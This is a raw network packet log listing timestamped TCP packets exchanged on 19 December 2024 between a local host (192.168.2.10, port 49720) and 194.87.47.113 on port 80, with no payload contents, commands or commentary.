Dec 19, 2024 08:21:24.916826963 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:24.917486906 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:24.917530060 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:24.917572021 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:24.918193102 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:24.918375015 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:24.918420076 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:24.918996096 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:24.919130087 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:24.919173002 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:24.919778109 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:24.919926882 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:24.919965982 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:24.920566082 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:24.920684099 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:24.920725107 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:24.921426058 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:24.921506882 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:24.921547890 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:24.922143936 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:24.922271013 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:24.922312975 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:24.922914028 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:24.923017025 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:24.923054934 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:24.923710108 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:24.923732042 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:24.923768997 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:24.924506903 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:24.924618006 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:24.924664974 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:24.925314903 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:24.966406107 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:24.988038063 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:24.988085985 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:24.988159895 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:24.988362074 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:24.988485098 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:24.988517046 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:24.989135981 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:24.989270926 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:24.989310980 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:24.989943981 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:24.996205091 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:24.996277094 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:24.996287107 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:24.996535063 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:24.996577024 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:24.996620893 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:24.997364998 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:24.997420073 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:24.997522116 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:24.998111963 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:24.998188019 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:25.032361984 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:25.032505989 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:25.032557964 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:25.032752037 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:25.032877922 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:25.032924891 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:25.033560991 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:25.033679962 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:25.033715963 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:25.034348011 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:25.034470081 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:25.034507036 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:25.035136938 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:25.035178900 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:25.035219908 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:25.035995960 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:25.036108971 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:25.036155939 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:25.036729097 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:25.036811113 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:25.036868095 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:25.048983097 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:25.049021006 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:25.049071074 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:25.049328089 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:25.049428940 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:25.049463034 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:25.050157070 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:25.050267935 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:25.050302982 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:25.050992012 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:25.051079988 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:25.051114082 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:25.051734924 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:25.051812887 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:25.051846027 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:25.052530050 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:25.052670002 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:25.052701950 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:25.053288937 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:25.053354979 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:25.053385973 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:25.091986895 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:25.092170954 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:25.092216015 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:25.092325926 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:25.092634916 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:25.092677116 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:25.093013048 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:25.093175888 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:25.093209982 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:25.093812943 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:25.093832970 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:25.093874931 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:25.094635010 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:25.094646931 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:25.094692945 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:25.095410109 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:25.095479965 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:25.095515013 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:25.096014023 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:25.096163034 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:25.096196890 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:25.096967936 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:25.097109079 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:25.097145081 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:25.097770929 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:25.098072052 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:25.098107100 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:25.098515987 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:25.098690987 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:25.098728895 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:25.099351883 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:25.099366903 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:25.099411011 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:25.100145102 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:25.100157976 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:25.100208998 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:25.100899935 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:25.101073027 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:25.101109028 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:25.101298094 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:25.101439953 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:25.101480007 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:25.102161884 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:25.102262974 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:25.102300882 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:25.102905035 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:25.103086948 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:25.103128910 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:25.103817940 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:25.103930950 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:25.103966951 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:25.104480982 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:25.104603052 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:25.104645967 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:25.105284929 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:25.105406046 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:25.105441093 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:25.106067896 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:25.106190920 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:25.106224060 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:25.109380960 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:25.109399080 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:25.109412909 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:25.109424114 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:25.109436989 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:25.109443903 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:25.109452009 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:25.109460115 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:25.109488010 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:25.109555006 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:25.109713078 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:25.109743118 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:25.110362053 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:25.110505104 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:25.110539913 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:25.111327887 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:25.111488104 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:25.111521959 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:25.111972094 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:25.112132072 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:25.112168074 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:25.112534046 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:25.112549067 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:25.112577915 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:25.113260984 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:25.113327980 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:25.113363981 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:25.114034891 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:25.114085913 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:25.114120960 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:25.114824057 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:25.115119934 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:25.115158081 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:25.115608931 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:25.115760088 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:25.115803003 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:25.116470098 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:25.116540909 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:25.116575003 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:25.117130041 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:25.169512987 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:25.186281919 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:25.186296940 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:25.186378956 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:25.186517954 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:25.186597109 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:25.186636925 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:25.187299013 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:25.187429905 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:25.187472105 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:25.188163996 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:25.188247919 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:25.188287020 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:25.195759058 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:25.195889950 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:25.195928097 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:25.196147919 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:25.196249008 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:25.196301937 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:25.196964979 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:25.197227001 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:25.197273970 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:25.197727919 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:25.229433060 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:25.229480982 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:25.229501009 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:25.229871988 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:25.229914904 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:25.230138063 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:25.230979919 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:25.231024027 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:25.231095076 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:25.231792927 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:25.231837988 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:25.231853008 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:25.232506037 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:25.232551098 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:25.232615948 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:25.233246088 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:25.233275890 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:25.233299971 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:25.233874083 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:25.233892918 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:25.233916044 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:25.241115093 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:25.241164923 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:25.241209030 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:25.241297007 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:25.241334915 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:25.241396904 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:25.242078066 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:25.242121935 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:25.242194891 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:25.242932081 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:25.242969036 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:25.242978096 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:25.243657112 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:25.243705988 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:25.243767977 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:25.244436979 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:25.244486094 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:25.244549990 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:25.245349884 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:25.245408058 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:25.245454073 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:25.246021032 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:25.246071100 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:25.284059048 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:25.284177065 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:25.284230947 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:25.284478903 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:25.284630060 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:25.284672022 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:25.285228014 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:25.285284996 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:25.285320997 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:25.286026001 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:25.286142111 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:25.286178112 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:25.286803961 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:25.286902905 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:25.286940098 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:25.287570000 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:25.287688017 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:25.287723064 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:25.288413048 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:25.288535118 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:25.288572073 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:25.289171934 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:25.289278984 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:25.289319038 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:25.289952993 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:25.290079117 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:25.290121078 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:25.290842056 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:25.291007042 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:25.291049004 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:25.291603088 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:25.291625977 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:25.291659117 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:25.292351961 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:25.292479038 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:25.292514086 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:25.293865919 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:25.295095921 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:25.295150995 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:25.295830011 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:25.295841932 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:25.295855045 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:25.295866966 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:25.295887947 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:25.295907974 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:25.296268940 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:25.296279907 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:25.296319008 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:25.296879053 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:25.297030926 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:25.297063112 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:25.297688007 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:25.297846079 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:25.297882080 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:25.298249960 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:25.298271894 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:25.298309088 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:25.298665047 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:25.298799038 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:25.298831940 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:25.299444914 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:25.299567938 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:25.299601078 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:25.300260067 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:25.300421000 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:25.300453901 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:25.301117897 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:25.301285982 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:25.301320076 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:25.301831007 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:25.301908016 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:25.301943064 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:25.302629948 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:25.302730083 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:25.302762985 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:25.303400993 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:25.303502083 CET	80	49720	194.87.47.113	192.168.2.10
